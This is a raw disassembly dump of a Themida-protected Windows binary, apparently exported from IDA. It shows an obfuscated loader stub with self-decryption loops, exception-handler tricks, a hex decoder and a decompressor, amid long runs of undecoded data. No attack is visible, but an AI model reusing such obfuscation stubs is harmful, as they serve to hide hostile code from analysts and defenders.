0FFFFh, 0 dd 255h, 0 dd 0C7D60000h, 4Eh, 0F300000h, 0 dd 589C0000h, 7FD80053h, 9Ch, 5 dup(0) dd 3040000h, 0D7067FFEh, 1E5F77E6h, 59740055h, 8655h, 3 dup(0) dd 3040000h, 7FFEh, 7BA0253h, 0 dd 0A8h, 4 dup(0) dd 3040000h, 2FE87FFEh, 77E8h, 4 dup(0) dd 3A430000h, 4E49575Ch, 53574F44h, 7379535Ch, 336D6574h dd 44415C32h, 49504156h, 642E3233h, 6C6Ch, 3Dh dup(0) dd 91340000h, 0FFFFh, 4 dup(0) dd 0C02A0000h, 5B00004Eh, 0 dd 0F80000h, 99h, 5 dup(0) dd 15F70000h, 8E94h, 12h dup(0) dd 2E880000h, 9866h, 0Dh dup(0) dd 254h, 2 dup(0) dd 0BA8E0000h, 0E60Fh, 3 dup(0) dd 0FFB00000h, 972A01FAh, 52h, 0C0CF0000h, 8EA55E1Bh, 97Dh dd 5 dup(0) dd 54F30000h, 70FFADh, 2 dup(0) dd 3040000h, 7FFEh, 6 dup(0) dd 69DD0000h, 9Ah, 2 dup(0) dd 49C00000h, 52h, 2 dup(0) dd 0E1390000h, 0FEB6h, 0E8280000h, 4700h, 0 dd 0B22D0000h, 0FA5Bh, 286h, 3 dup(0) dd 3040000h, 7FFEh, 4 dup(0) dd 1EDF0000h, 9Ah, 3 dup(0) dd 6A4D0000h, 15DBh, 0Ah dup(0) dd 0FF540000h, 12h, 3 dup(0) dd 47E50000h, 9DB20053h, 0BFFFh, 6 dup(0) dd 979D0000h, 0FFAEh, 3 dup(0) dd 3040000h, 7FFEh, 0 dd 1DD80000h, 55E40000h, 0A141FC29h, 7825h, 3 dup(0) dd 800000h, 0EBB30000h, 77F7h, 4EF30000h, 8D533881h, 9Eh dd 0 dd 0A5FD0000h, 3FD377E7h, 142Dh, 3 dup(0) dd 8FFB0000h, 4 dup(0) dd 46B70000h, 30DF3849h, 0A9C5h, 4 dup(0) dd 69DD0000h, 3040000h, 7FFEh, 0 dd 881B0000h, 0AF41h, 0 dd 56430000h, 5 dup(0) dd 0FF340000h, 12h, 8400000h, 86h, 2 dup(0) dd 0C4860000h, 77E7h, 8 dup(0) dd 0EE2E0000h, 0A13F0053h, 77E7h, 0 dd 0D04A0000h, 0FFFFh, 0 dd 27760000h, 54h, 2 dup(0) dd 12CE0000h, 78EFFDh, 3 dup(0) dd 0C3960000h, 4Eh, 2 dup(0) dd 2BCF0000h, 144Fh, 0C77B0000h, 230000h, 52h, 2 dup(0) dd 68540000h, 64696D65h, 61h, 1Ch dup(0) dd 0EE2E0000h, 53h, 0 dd 15640000h, 9Bh, 0D78A0000h, 0FFAAh, 6 dup(0) dd 0AC5E0000h, 77E7h, 9 dup(0) dd 0FCFA0000h, 2E0F8001h, 77F5h, 0Bh dup(0) dd 754B0000h, 4EA1h, 4 dup(0) dd 2FE80000h, 0BAC0002h, 0F3B1h, 0FF540000h, 12h, 2 dup(0) dd 0F81D0000h, 0BDDE0052h, 49A8h, 3 dup(0) dd 0E91F0000h, 728C3503h, 55h, 2 dup(0) dd 77D4h, 0 dd 0F72B0000h, 11Ah, 64h dup(0) dd 3E0000h, 99h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4EE35A: ; CODE XREF: start:loc_4EB08Dj mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 60332D7h mov [ebp+6032125h], edx mov [ebp+6032931h], esi mov [ebp+6032969h], eax cmp dword ptr [ebp+6030E55h], 0 jz short loc_4EE392 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_4EE392: ; CODE XREF: start+5F370j mov eax, [esp+40h+var_1C] mov [ebp+6033091h], eax push 45h call sub_4EE446 push 783749Ah call sub_4EE48C push 0A894B25h call sub_4EE48C jmp loc_4EE5D0 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0) db 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4EE446 proc near ; CODE XREF: start+5F38Ap var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 60333C5h mov ebx, edx mov [ebp+var_28], 0 loc_4EE462: ; CODE XREF: sub_4EE446+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_4EE481 mov eax, [ebp+arg_0] mov [ebx+603332Fh], eax inc [ebp+arg_0] inc ebx jmp short loc_4EE462 ; --------------------------------------------------------------------------- loc_4EE481: ; CODE XREF: sub_4EE446+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_4EE446 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4EE48C proc near ; CODE XREF: start+5F394p start+5F39Ep var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 603340Eh lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_4EE4B2: ; CODE XREF: sub_4EE48C+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_4EE4B2 mov [ebp+var_84], 0 lea edi, [edx+603332Fh] lea esi, [ebp+var_80] loc_4EE4E2: ; CODE XREF: sub_4EE48C+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_4EE4EE: ; CODE XREF: sub_4EE48C+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_4EE4EE imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_4EE4E2 popa leave retn 4 sub_4EE48C endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_4EE52C ; --------------------------------------------------------------------------- loc_4EE528: ; CODE XREF: Themida_:004EE52Fj inc dword ptr [ebp-4] inc esi loc_4EE52C: ; CODE XREF: Themida_:004EE526j cmp byte ptr [esi], 0 jnz short loc_4EE528 mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_4EE5BD ; --------------------------------------------------------------------------- loc_4EE53E: ; CODE XREF: Themida_:004EE5C0j mov dword ptr [ebp-8], 0 jmp short loc_4EE5B4 ; --------------------------------------------------------------------------- loc_4EE547: ; CODE XREF: Themida_:004EE5B8j mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_4EE5A1 ; --------------------------------------------------------------------------- loc_4EE557: ; CODE XREF: Themida_:004EE5A5j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_4EE579 cmp bl, 39h ja short loc_4EE579 sub bl, 30h jmp short loc_4EE59B ; --------------------------------------------------------------------------- loc_4EE579: ; CODE XREF: Themida_:004EE56Dj ; Themida_:004EE572j cmp bl, 61h jb short loc_4EE58B cmp bl, 66h ja short loc_4EE58B sub bl, 61h add bl, 0Ah jmp short loc_4EE59B ; --------------------------------------------------------------------------- loc_4EE58B: ; CODE XREF: Themida_:004EE57Cj ; Themida_:004EE581j cmp bl, 41h jb short loc_4EE59B cmp bl, 46h ja short loc_4EE59B sub bl, 41h add bl, 0Ah loc_4EE59B: ; CODE XREF: Themida_:004EE577j ; Themida_:004EE589j ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_4EE5A1: ; CODE XREF: Themida_:004EE555j cmp dword ptr [ebp-0Ch], 2 jb short loc_4EE557 cmp dword ptr [ebp-10h], 0 jbe short loc_4EE5B1 mov eax, [ebp-10h] stosb loc_4EE5B1: ; CODE XREF: Themida_:004EE5ABj inc dword ptr [ebp-8] loc_4EE5B4: ; CODE XREF: Themida_:004EE545j cmp dword ptr [ebp-8], 2 jb short loc_4EE547 add edx, 4 loc_4EE5BD: ; CODE XREF: Themida_:004EE53Cj cmp edx, [ebp-4] jb loc_4EE53E mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4EE5D0: ; CODE XREF: start+5F3A3j mov ecx, 7000h lea edi, [ebp+6033554h] loc_4EE5DB: ; CODE XREF: start+5F5CBj dec byte ptr [edi] inc edi dec ecx jnz short loc_4EE5DB mov eax, 48692121h mov edx, 0F008F000h sub edx, 0F0000000h lea eax, [ebp+6033662h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax push 0 push esi call sub_4EE617 and [esi-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_4EE617 proc near ; CODE XREF: start+5F5FBp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_4EE617 endp ; --------------------------------------------------------------------------- db 90h dd 11E8D88Ah, 9C000000h, 0C9CE4EBAh, 40360Dh, 16D84942h dd 0FDDF27AAh, 0C22B5BF9h, 0E8C0Fh, 81600000h, 1CAC28EFh dd 8E0F5Fh, 61000000h, 0FFF00025h, 8406BBFFh, 0CA8B6DE5h dd 8166FF33h, 755A4D38h, 50B70F0Eh, 81D0033Ch, 45503Ah dd 2D087400h, 1000h, 64E3EB47h, 58Fh, 0C4830000h, 75958D04h dd 52060336h, 35FF64h, 64000000h, 2589h, 0C1030000h, 10002Dh dd 4708B00h, 0E681h, 0FE81FFFFh, 80000000h, 708B0376h dd 83C0331Ch, 1F7432F8h, 4D3E8166h, 8109745Ah, 10000EEh dd 0EBEB4000h, 33C7E8Bh, 503F81FEh, 74000045h, 64E8EB44h dd 58Fh, 0C4830000h, 51C36104h, 10244C8Bh, 0B0A981h, 10000000h dd 33590000h, 8B51C3C0h, 5510244Ch, 0E8h, 0ED815D00h, 6033680h dd 363E858Dh, 81890603h, 0B8h, 0C033595Dh, 8F6496C3h, 5 dd 4C48300h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 5CC35040h, 32EDBF6Bh, 0A6B2BB66h, 0F8D98C66h, 0BB04E180h dd 55978A22h, 850FC90Ah, 61h, 85C7DA8Bh, 6031D89h, 1, 0DE8h dd 4BF17400h, 0B57CB106h, 0E7E8CA5Ch, 0BB66DBE3h, 0E95B9B69h dd 6Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah dd 15C35646h, 945E96F6h, 6E8B443h, 33000000h, 0E543D388h dd 58A0F8Bh, 0BB000000h, 181C7DD3h, 8985C75Bh, 6031Dh dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 0A91CC353h, 95FA85CFh, 5069BC3Dh dd 0DE8B6657h, 85895B5Bh, 60302E1h, 0FE8h, 998E2600h, 5C92AA93h dd 0F2B8E199h, 0E64707EDh, 5BD9B70Fh, 24718589h, 0EE80603h dd 3B000000h, 77D31C14h, 3F426651h, 2E0F126Ch, 830F52BDh dd 13h, 0EE9h, 0B57BE000h, 0BBBC2781h, 1329FB3Eh, 5A87BD24h dd 7C7BA5Fh, 0C781532Fh, 6CE5h, 7820Fh, 0B6600000h, 9ED580A8h dd 1AEDBB61h, 0BCBA0000h, 8B2CE13Ah, 0CAC88137h, 81144EDAh dd 2686C0EEh, 0FE95Fh, 67AD0000h, 0CB3E8B21h, 0EBB09BFAh dd 9D3DBCD1h, 0B5F681F9h, 660174CCh, 0E34AF081h, 80B8EE81h dd 830F6F88h, 4, 488EBA66h, 3870F56h, 66000000h, 78FC18Bh dd 9E9h, 0F17F8E00h, 0FD47A4FCh, 0EF81DED1h, 4FA67E5Bh dd 14E9h, 1F4BF800h, 8F2495CBh, 1D95DA31h, 24036B30h, 0B58A086Dh dd 57C781FAh, 604FA67Eh, 10E9h, 0DF577C00h, 7FEDFAADh dd 279D4BC6h, 339AE408h, 10E9DBh, 46800000h, 1B65EA77h dd 4FBEE627h, 5CB78012h, 836117CCh, 850F01EBh, 21h, 5840Fh dd 81660000h, 0E9497CE0h, 28h, 0E680DBC2h, 75F47B71h, 0C4BEADDBh dd 0EEE1F73Ch, 0E9C18B05h, 0FFFFFF27h, 1FF8F334h, 0DF6CDA9Eh dd 353CA2E8h, 1F3E77CAh, 639E9h, 217F900h, 9000000h, 325DD9Dh dd 840F6006h, 6, 19258509h, 0C02B0603h, 9A5B509h, 548B0603h dd 0E9F52824h, 10h, 9D9E585Ah, 0BDE20A1Ch, 0FD5BD465h dd 0C621681Dh, 2BD8589h, 8E90603h, 26000000h, 88745195h dd 0BE68875Ah, 3Ch, 97DBD29h, 3FC0603h, 89242474h, 3049585h dd 75B58906h, 66060307h, 599589ADh, 0F9060300h, 24244403h dd 0CE9h, 0E6318300h, 197D7190h, 22C6F436h, 666090EBh dd 0FB8BD08Bh, 6E95061h, 5F000000h, 0D06BBFF9h, 8B6090D7h dd 0CB8B66C2h, 78408B61h, 68D0Fh, 8D290000h, 6030FA5h dd 0C840Fh, 820F0000h, 6, 8F0Fh, 44030000h, 8D292824h dd 6032245h, 2918408Bh, 31DC9B5h, 9E906h, 1310000h, 34C0C879h dd 401928B6h, 8D8D8B60h, 89060305h, 326D9BDh, 85896106h dd 60338D5h, 0DD850160h, 0E906031Ch, 0Fh, 7E4B89ECh, 0C0F5E0E3h dd 5E060EDBh, 6135DCC4h, 708BF558h, 8850F78h, 60000000h dd 12F1950Bh, 0F8610603h, 0F51CC683h, 24247403h, 0C880Fh dd 7E90000h, 0F9000000h, 0BEF92C04h, 0BD8DCE78h, 6030649h dd 29899589h, 0FAD0603h, 1B8Fh, 59516000h, 11E8h, 97C9E800h dd 0E455832Bh, 0CF938C11h, 0B8B21D4Fh, 615AFB2Dh, 2559BD89h dd 44030603h, 95012424h, 6031BF9h, 6D9D29ABh, 8D060304h dd 308D5BDh, 89ADFC06h, 330DD85h, 24440306h, 0B1953124h dd 29060320h, 324B985h, 800F5006h, 0Ch, 68B0Fh, 8E0F0000h dd 0 dd 0E9240489h, 9, 0BD0A79A3h, 5A3C799Dh, 0FF8AB03h, 186h dd 0BD8DF800h, 6030B99h, 6DB86660h, 0FAD6104h, 0A8Eh, 0CB8B6000h dd 2381BD31h, 0F5610603h, 28244403h, 9589ABF8h, 6030CE5h dd 8166605Eh, 0F017CF7h, 288h, 61C88A00h, 38D58DFFh, 0BD830603h dd 60338D5h, 0C7107500h, 1C2444h, 8D000000h, 33D21B5h dd 56E6FF06h, 244403ADh, 0DF8B9728h, 1BA1858Ah, 0C0840603h dd 73A0474h, 32574C75h, 0FD75AEC0h, 52FB2B5Eh, 49C933FCh dd 0C033D18Bh, 32ACDB33h, 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h dd 73D8D166h, 41356609h, 0F3816650h, 0CEFE5449h, 0C833EB75h dd 754FD333h, 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h dd 835E0F74h, 85FF04C6h, 60302BDh, 0FFFF6FE9h, 9D895EFFh dd 60316BDh, 8E9F5h, 1F000000h, 96EADE56h, 858B74DAh, 60302BDh dd 8E9h, 5F0F4900h, 1380CE47h, 0F9E0D12Dh, 0B998503h, 8F0F0603h dd 6, 9798D31h, 95290603h, 6032F95h, 0BEh, 8830F00h, 0F000000h dd 282h, 0F616000h, 0A86h, 0C18B6000h, 20518D29h, 96610603h dd 0D8D9509h, 0AD660603h, 8DB58960h, 8B06031Fh, 32601BDh dd 0E0C16106h, 0BD950902h, 3060304h, 3064985h, 61952906h dd 9606031Ch, 820FFC60h, 1, 8A0F61F8h, 0Ch, 6890Fh, 0BD290000h dd 60320F5h, 11E9ADh, 0A8C00000h, 553DC445h, 0DAB13CBEh dd 70AC4C15h, 8BBC174Bh, 0F924244Ch, 24244403h, 15959531h dd 44890603h, 96F51C24h, 79BCB960h, 852B4D3Fh, 6032E85h dd 0B589AC61h, 603165Dh, 0F5C932F8h, 0BD09C1FEh, 60318E5h dd 830FD0D0h, 0AAh, 0FD0D0F5h, 0A183h, 0D0D0F900h, 98820Fh dd 8B0F0000h, 0Ch, 6830Fh, 85010000h, 6032581h, 820FD0D0h dd 7Eh, 17F19D89h, 0C9FE0603h, 0FFBE890Fh, 9D89FFFFh, 6031431h dd 0E920C483h, 0Fh, 4B98ECBBh, 27A5FFh, 67CCCC63h, 0C7507EE6h dd 0FC2444h, 0E9000000h, 0Fh, 296DD7FCh, 0BD6AECEDh, 7793D43Dh dd 0B8B70F91h, 1, 3F5B589h, 8D8D0603h, 60371E3h, 39B58B60h dd 66060330h, 0F61FA8Bh, 68Fh, 259D8900h, 0FF06031Dh, 78B0FE1h dd 0F000000h, 187h, 85C6F500h, 6031BA1h, 0B589FC00h, 6031761h dd 0B5896061h, 6030345h, 1CD59533h, 0C2610603h, 96F90008h dd 820F6060h, 0 dd 74CBABAh, 0B8BE614Ah, 6155491Dh, 0E8C0F50h, 0E9000000h dd 9, 5A880FDh, 0D4DEF8FCh, 880F963Ah, 6, 0AED9D89h, 0B5890603h dd 6033EC9h, 0E18D89F8h, 8906033Eh, 319FD9Dh, 758D8906h dd 8D060322h, 33DDAB5h, 0C870F06h, 0F000000h, 68Ah, 8D0F00h dd 8D000000h, 5B7E3585h, 0D0FFF500h, 13E9h, 89F0F800h dd 837EEB97h, 0F977EB7Eh, 7467BAE7h, 318117F6h, 1D9D895Eh dd 0C3060320h, 858D29F9h, 8B06030Fh, 33EC9B5h, 6E906h dd 0EACC0000h, 12AD9ECh, 2081B509h, 8D8B0603h, 6033EE1h dd 0AF99D09h, 0C02B0603h, 6E9h, 8368AF00h, 8921AF00h, 32DED95h dd 0F5D98B06h, 1B8D8529h, 9BE90603h, 0F000000h, 187h, 2632F500h dd 54BF6660h, 2B261ACh, 19A58589h, 50E90603h, 0F5000000h dd 5FCC232h, 8A751D7Ah, 1339BD89h, 0CC8A0603h, 0F2BF0F60h dd 2E6D9D89h, 0D3610603h, 10E9C8h, 3C900000h, 0B5AB483h dd 9B208348h, 0AD092846h, 423577F4h, 0F598D108h, 8B60CAFEh dd 32E2D85h, 8E906h, 70C70000h, 0B7B0775Ch, 0A61798Ch dd 0A9850FD2h, 0F8FFFFFFh, 68A0F4Bh, 31000000h, 30321B5h dd 13E94606h, 4D000000h, 0AEB742AEh, 0CC3AB0E4h, 6B31EE15h dd 0E6964EF2h, 0DB0BA03Fh, 0FF64850Fh, 0CFF8FFFFh, 82D9529h dd 603h, 0E90000FCh, 0Eh, 4C112427h, 0BA44B668h, 463E8CA6h dd 7195h, 0CE9h, 0A071FD00h, 0B857CF8Bh, 7F480798h, 0F0000CBh dd 1184h, 0B840F00h, 0E9000000h, 6, 92D1E95Fh, 858DBB51h dd 60338E0h, 20FDB529h, 85890603h, 6032045h, 25ED8D09h dd 858D0603h, 6033D42h, 0FE9h, 0F0D34700h, 0BFD70EDAh dd 85AE46B9h, 0EFC31693h, 0F758589h, 12E80603h, 27000000h dd 0C6FCCB68h, 1AF848FAh, 0D4A2D0B0h, 0E669CC6Eh, 7D8D23D8h dd 5F060307h, 2169B509h, 0C7810603h, 6CACh, 68C28Bh, 8B000000h dd 3267D9Dh, 0C0815A06h, 0E050C1Dh, 0F3A34FFh, 0C85h, 6820F00h dd 89000000h, 31DE595h, 95095E06h, 603072Dh, 4200C681h dd 11E960A2h, 6D000000h, 0F4E52270h, 4879818Fh, 0F2D5EEB1h dd 4DF79888h, 0B68FEE81h, 9D8B5ADBh, 6031719h, 5BDDEE81h dd 60561631h, 59616160h, 0B70F6056h, 999D31D3h, 61060307h dd 0E817048Fh, 11h, 0D2480425h, 0B2952189h, 4677C2A0h dd 0A788B74Ch, 5BE7B33Ah, 241C081h, 0EA830DBFh, 85895204h dd 60323F9h, 58FA8158h, 0FFFFF94h, 0F85h, 3EF38000h, 32E9h dd 742F0400h, 272FCDBEh, 14E9h, 36B09000h, 9AB237CDh, 0E87A7F31h dd 16164C77h, 6D8AD068h, 0FF3EE95Eh, 1AF8FFFFh, 0D4A2D0B0h dd 0E669CC6Eh, 0EB008DD8h, 14h, 3 dup(0) dd 8800h, 1F858D00h, 89060341h, 3264985h, 60BD8306h, 60340h dd 12B840Fh, 85C60000h, 6031BA1h, 4E856h, 6D390000h, 8B50D41Fh dd 8B042444h, 24448900h, 0B5FF5804h, 60302E1h, 38E0858Dh dd 0D0FF0603h, 40548589h, 85C60603h, 6031BA1h, 70FD6856h dd 3481CC82h, 2AC8AF24h, 0E1B5FF50h, 8D060302h, 338E085h dd 89D0FF06h, 3405885h, 68046A06h, 0C5CAC2B4h, 4C240481h dd 8B3A354Dh, 3406485h, 1F40506h, 0E0C10000h, 90509002h dd 95FF006Ah, 6034058h, 405C8589h, 0D88B0603h, 0FFFFFFB8h dd 4995FFFFh, 8B060326h, 4995FFC3h, 0E9060326h, 8Dh, 4060BD83h dd 0F000603h, 185h, 8B57C300h, 3405CBDh, 8583AB06h, 603405Ch dd 83C35F04h, 34060BDh, 850F0006h, 1, 0AD8360C3h, 603405Ch dd 5C9D8B04h, 83060340h, 0FFFFC7Bh, 1D85h, 5276800h, 34812A4Eh dd 4E852724h, 0FF006A2Ah, 5495FF33h, 61060340h, 26E9C3h dd 4E80000h, 0 dd 50000080h, 424448Bh, 4489008Bh, 6A580424h, 0FF33FF00h dd 3405495h, 5CAD8306h, 4060340h, 0FFFFA8E9h, 0ADE948FFh dd 60000001h, 2424748Bh, 28247C8Bh, 8A80B2FCh, 7884606h dd 2BB47h, 0D2020000h, 5850Fh, 168A0000h, 0FD21246h, 0FFFFE283h dd 0FD202FFh, 585h, 46168A00h, 830FD212h, 6Ah, 0D202C033h dd 5850Fh, 168A0000h, 0FD21246h, 12A83h, 0FD20200h, 585h dd 46168A00h, 0C013D212h, 850FD202h, 5, 1246168Ah, 2C013D2h dd 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h, 5850Fh dd 168A0000h, 13D21246h, 6840FC0h, 57000000h, 78AF82Bh dd 4707885Fh, 2BBh, 0FF70E900h, 1B8FFFFh, 2000000h, 5850FD2h dd 8A000000h, 0D2124616h, 0D202C013h, 5850Fh, 168A0000h dd 0FD21246h, 0FFFFDE82h, 0BBC32BFFh, 1, 34850Fh, 1B90000h dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 0F78B56FFh dd 0A4F3F52Bh, 0FF08E95Eh, 0C148FFFFh, 68A08E0h, 0B9E88B46h dd 1, 850FD202h, 5, 1246168Ah, 2C913D2h, 5850FD2h, 8A000000h dd 0D2124616h, 0FFDE820Fh, 3DFFFFh, 0F00007Dh, 2283h, 5003D00h dd 820F0000h, 0Eh, 0F78B5641h, 0A4F3F02Bh, 0FEB4E95Eh dd 0F883FFFFh, 3870F7Fh, 83000000h, 8B5602C1h, 0F3F02BF7h dd 9BE95EA4h, 8AFFFFFEh, 0C9334606h, 0F01E8C0h, 1784h dd 2D18300h, 8B56E88Bh, 0F3F02BF7h, 1BB5EA4h, 0E9000000h dd 0FFFFFE76h, 28247C2Bh, 1C247C89h, 8C261h, 929BAh, 9D3E900h dd 4C280000h, 724427A6h, 5405A3FDh, 82AEAC6Ah, 2BFE1802h dd 0C269FD42h, 0DE1A9CBDh, 0B5C21CFDh, 6A755F03h, 304F2AA6h dd 4317ABF1h, 90BFFF38h, 60F15D05h, 0C8199E2Dh, 0DF0788B7h dd 0B5C24EF1h, 697A5901h, 30552AA6h, 5C0DB6EEh, 8EA3E138h dd 6EE54A1Eh, 842DFD46h, 0CE078CA0h, 0FBC31CBCh, 7F6E5914h dd 7F5333A6h, 5C03B6EFh, 36h, 62h dup(0) dd 4C280000h, 7E4E2EA6h, 430DB0E1h, 8CB4FC38h, 23FD4A16h dd 0D728FB07h, 0DF118BF2h, 0B4D14EB3h, 2D7F5818h, 7E4F36F4h dd 1105AAE1h, 9AE6E271h, 6EEE4D1Eh, 0D03AEA54h, 0B05A84B7h dd 0BEDB3ED0h, 217E450Ch, 7C4F36A6h, 1106A5E7h, 85E6F871h dd 6EF15703h, 0CB24F64Ah, 0DB5490A0h, 0A9970AB3h, 6C6F4508h dd 690137F4h, 1110B1E7h, 84A9FE68h, 60F15903h, 48h dup(0) dd 4C280000h, 715320A6h, 4307AFEBh, 97E6FF3Fh, 6EF0571Eh dd 843AF24Fh, 0D4118CB0h, 0AED808FDh, 7F3B5203h, 794F2DF3h dd 5842A3E6h, 8CBFAC76h, 3DBC4A04h, 0C13DE05Eh, 0B77EC7BFh dd 0BAD2028Dh, 2D37531Eh, 7F4D2DF3h, 5842A0E9h, 91A0AC6Ch dd 23BC551Eh, 0D626FE42h, 0D415C9ABh, 0BEC54EB9h, 7F7A421Eh dd 7F5863F2h, 4142B6FDh, 91A1E36Ah, 0B25510h, 61h dup(0) dd 4B280000h, 30442FEFh, 4310ABEBh, 86B2FC6Dh, 6EB21915h dd 0D720FB73h, 0D50699F2h, 0B6D61CBAh, 7E7A5E4Dh, 754421A6h dd 500FE4E6h, 96B6E576h, 2BE8591Dh, 0CA28B343h, 0DB19C9B6h dd 0D1D20CA4h, 2A6F5F60h, 7E4863F5h, 4501A1EEh, 81E6E87Dh dd 6EFD1808h, 0D13BFA71h, 0C81BC9A1h, 0BAC50DFDh, 697E5D0Eh dd 787563A8h, 5742B7E1h, 0C3A3E071h, 69F25706h, 0CB3EB353h dd 0DB5482A0h, 0B4DA17B3h, 35531Fh, 0E0h dup(0) dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0) aExitStatusD db 'Exit Status = %d',0 align 4 dd 0 dd 2DF8E900h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 8B0F9FC3h, 6, 1F8D9D8Bh, 0FFC0603h dd 68Eh, 0F1958B00h, 8B060323h, 83D68BC0h, 304E5BDh, 9750006h dd 2339BD83h, 74000603h, 8B535013h, 1B8C0h, 9D8D0000h dd 605B461h, 585BD3FFh, 2339BD83h, 74000603h, 0B8535011h dd 1, 0B3129D8Dh, 0D3FF0605h, 8D0F585Bh, 2, 8B52D38Bh dd 3189595h, 0C08B5B06h, 17C18D89h, 810F0603h, 5, 0CBCA8166h dd 19BD83FCh, 6031Bh, 19C840Fh, 9D8B0000h, 603081Dh, 0BD83DF8Bh dd 6030FCDh, 87840F00h, 89000001h, 3132D85h, 9E96006h dd 20000000h, 0C9E5A942h, 5841C7EAh, 0FCD858Bh, 8E80603h dd 2D000000h, 3726E5C4h, 8B71C665h, 31FBD95h, 0E8055B06h dd 31000003h, 31C958Dh, 9E806h, 4ADA0000h, 0D43FBC8h, 0E9401018h dd 0Eh, 0F2B25FD4h, 588218EFh, 0A9C64D76h, 905B2A41h, 90D18B50h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 32C35545h dd 23858D0Ah, 6606034Dh, 9D8BD78Bh, 6031979h, 60525050h dd 860F6160h, 0 dd 8B310F61h, 89585AD7h, 6A2404h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 2C792DC3h, 9C6B8B1Ch dd 58C0F56h, 0BB000000h, 29AB285Ch, 1858D5Ah, 0B06034Dh dd 30B599Dh, 0CADA8106h, 900E7616h, 6650DF8Bh, 0F90D78Bh dd 488h, 0D08B5100h, 0D5958B5Bh, 0FF06032Eh, 325E195h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 86BB660Eh, 0C483F85Ch, 0D59D890Ch, 8D06030Fh dd 34D0185h, 0BB90FC06h, 62931CCCh, 5870F50h, 0BA000000h dd 47BE9262h, 0F026A90h, 188h, 95FFF800h, 688574h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0C5C35040h, 0D30C1BACh dd 0B589E4E7h, 6030865h, 0D0BF0F61h, 19519D03h, 85C70603h dd 6034D34h, 1, 50D38B66h, 0EE851h, 9FC00000h, 0E6318367h dd 197D7190h, 22C6F436h, 8D0Fh, 5B5A0000h, 89243489h, 322A1B5h dword_4F0044 dd 12E906h, 0B5150000h, 5AF8087Bh, 790A1D57h, 869D78C3h ; DATA XREF: ___:0042CC8Co dd 1ACC71D1h, 4CE5B589h, 0D98B0603h, 1D89BD83h, 0F010603h dd 2285h, 75958B00h, 306031Bh, 3270595h, 5F88306h, 0D850Fh dd 0BD890000h, 6032E31h, 0B8h, 8380B700h, 30BCDBDh, 840F0006h dd 4Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h dd 53C35646h, 9503DDA0h, 6030EF5h, 0B8h, 10E800h, 6BEF0000h dd 0BE9585A0h, 0F89187Ch, 3273BC9Fh, 890F9170h, 6, 0B65958Bh dd 805A0603h, 0E960E8EFh, 6, 0AEE76D5Dh, 